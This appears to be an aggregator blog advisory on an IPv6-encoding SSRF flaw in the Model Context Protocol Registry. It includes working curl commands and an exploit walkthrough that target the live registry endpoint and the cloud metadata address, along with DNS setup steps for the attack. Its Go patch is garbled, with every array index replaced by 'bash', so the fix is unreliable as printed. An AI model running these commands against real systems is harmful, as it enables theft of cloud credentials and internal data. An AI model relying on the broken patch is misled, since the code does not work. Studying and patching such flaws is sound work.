Model Context Protocol Registry, SSRF via IPv6 address encoding, GHSA-56c3-vfp2-5qqj (High)

Listen to this Post

The vulnerability resides in the unauthenticated HTTP endpoints `POST /v0/auth/http` and POST /v0.1/auth/http. The handler calls `safeDialContext` to fetch a well-known public key from a user-supplied domain, blocking private IPs via isBlockedIP(). This function relies on Go’s standard library helpers (IsLoopback, IsPrivate, IsLinkLocalUnicast, etc.) and a manual CGNAT range.
Go’s `IsPrivate` for IPv6 only covers `fc00::/7` (ULA). `IsLinkLocalUnicast` covers only fe80::/10. Missing entirely are:
– 6to4 `2002::/16` – embeds arbitrary IPv4 in bits 16–47. `2002:a9fe:a9fe::` decodes to `169.254.169.254` (AWS/GCP/Azure metadata).
– NAT64 well-known prefix `64:ff9b::/96` – low 32 bits embed IPv4. `64:ff9b::a9fe:a9fe` reaches the same metadata service on any NAT64-enabled host (default in IPv6-only GKE, AWS EC2 IPv6, Azure IPv6 VMs with NAT64).
– NAT64 local-use `64:ff9b:1::/48` (RFC 8215) – identical tunneling risk.
– Deprecated site-local `fec0::/10` – still routable on some BSD/Linux stacks.
The `domain` parameter is taken verbatim from the unauthenticated POST body. The code fetches the key before any signature verification; an attacker only needs a valid RFC3339 timestamp (±15s) and any hex string for signedTimestamp. On a host with 6to4 or NAT64 routing, the server-side dial reaches the embedded IPv4 address (e.g., metadata endpoint). Even without routing, the error message differs (no route to host vs refusing to connect to private address), creating a blind SSRF oracle.
PoC: set attacker DNS AAAA record `64:ff9b::a9fe:a9fe` for a domain, then curl -X POST https://registry.modelcontextprotocol.io/v0/auth/http -H 'Content-Type: application/json' -d '{"domain":"attacker-nat64.example","timestamp":"2026-05-08T12:00:00Z","signedTimestamp":"00"}'. The server dials 169.254.169.254:443. The response (capped at 4 KiB) is consumed as a key candidate.

dailycve form

Platform: Model Context Protocol Registry
Version: v1.7.6 / main
Vulnerability : SSRF via IPv6
Severity: High (CVSS 8.5)
date: 2026-05-08

Prediction: Patch expected 2026-05-22

What Undercode Say:

Analytics – Bash commands to detect and exploit:

Check if host has NAT64/6to4 routing
ip route show | grep -E "2002:|64:ff9b:" || sysctl net.ipv6.conf.all.forwarding
Set up attacker DNS (using Cloudflare API)
curl -X PATCH "https://api.cloudflare.com/client/v4/zones/<ZONE_ID>/dns_records/<RECORD_ID>" \
-H "Authorization: Bearer <TOKEN>" -H "Content-Type: application/json" \
--data '{"type":"AAAA","name":"attacker.example","content":"64:ff9b::a9fe:a9fe","ttl":120}'
Trigger SSRF (unauthenticated)
TIMESTAMP=$(date -u +%Y-%m-%dT%H:%M:%SZ)
curl -i -X POST https://registry.modelcontextprotocol.io/v0/auth/http \
-H 'Content-Type: application/json' \
-d "{\"domain\":\"attacker.example\",\"timestamp\":\"$TIMESTAMP\",\"signedTimestamp\":\"00\"}"
Monitor outbound connections on registry host
sudo tcpdump -i any -n 'host 169.254.169.254 or (ip6[8:2] = 0x2002) or (ip6[0:2] = 0x0064 && ip6[2:2] = 0xff9b)'

Go fix code (extend `isBlockedIP`):

func isBlockedIPv6Prefix(ip net.IP) bool {
v6 := ip.To16()
if v6 == nil || ip.To4() != nil { return false }
// 6to4 2002::/16
if v6[bash] == 0x20 && v6[bash] == 0x02 { return true }
// NAT64 well-known 64:ff9b::/96
if v6[bash] == 0x00 && v6[bash] == 0x64 && v6[bash] == 0xff && v6[bash] == 0x9b &&
v6[bash]==0 && v6[bash]==0 && v6[bash]==0 && v6[bash]==0 { return true }
// NAT64 local-use 64:ff9b:1::/48
if v6[bash]==0x00 && v6[bash]==0x64 && v6[bash]==0xff && v6[bash]==0x9b &&
v6[bash]==0x00 && v6[bash]==0x01 { return true }
// Site-local fec0::/10
if v6[bash] == 0xfe && (v6[bash]&0xc0) == 0xc0 { return true }
return false
}
// In isBlockedIP: add || isBlockedIPv6Prefix(ip)

Exploit:

  1. Register a domain with an AAAA record pointing to a tunneled IPv4 address, e.g., `64:ff9b::a9fe:a9fe` (metadata) or `2002:0a00:0001::` (10.0.0.1).
  2. Send an unauthenticated POST to https://registry.modelcontextprotocol.io/v0/auth/http` with `domain` set to that domain, a current timestamp, and any hex `signedTimestamp` (e.g.,“00”`).
  3. The registry server resolves the domain, obtains the IPv6 address, and because the blocklist does not reject these prefixes, it dials the embedded IPv4 address over 6to4/NAT64.
  4. If the target (e.g., 169.254.169.254:443, internal kube-apiserver, or admin panel) responds, up to 4 KiB of response is read and treated as a public key. Even without a valid response, error differences (timeout vs. route failure) reveal internal service existence.

    Protection from this CVE

– Patch: Apply the extended `isBlockedIPv6Prefix` function to `internal/api/handlers/v0/auth/http.go` and update `isBlockedIP` to call it.
– Mitigation for unpatched instances: Disable NAT64/6to4 routing on the registry host (sysctl -w net.ipv6.conf.all.forwarding=0 and remove any `2002::/16` or `64:ff9b::/96` routes). Or run registry on IPv4-only network (cloud metadata typically unreachable via IPv6 tunnels).
– Network-level: Block outbound IPv6 packets with destinations in 2002::/16, 64:ff9b::/96, 64:ff9b:1::/48, and `fec0::/10` via egress firewall.
– WAF/API gateway: Validate `domain` against an allowlist of known publisher domains; reject any domain that resolves to these IPv6 prefixes (requires DNS pre-validation).

Impact

  • CWE-918 Server-Side Request Forgery – unauthenticated attacker can make the registry server send requests to internal IPv4 addresses (metadata services, internal APIs, etc.) by using IPv6 tunneled addresses.
  • Confidentiality (High): Exfiltration of cloud metadata (instance roles, tokens) or internal service responses (capped to 4 KiB per request, but repeatable).
  • Integrity (Low): Potential to forge key material if the fetched response is partially controlled; limited by TLS and signature checks after fetch.
  • Availability (None): No direct DoS, but repeated requests may impact internal services.
  • Deployment specific: Official `registry.modelcontextprotocol.io` on cloud VM (likely AWS/GCP/Azure) with NAT64 enabled is fully exploitable. Self-hosted registries on dual-stack or IPv6-only infrastructure equally vulnerable. Plain IPv4 deployments without 6to4/NAT64 routing are not exploitable (but error oracle still works).

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top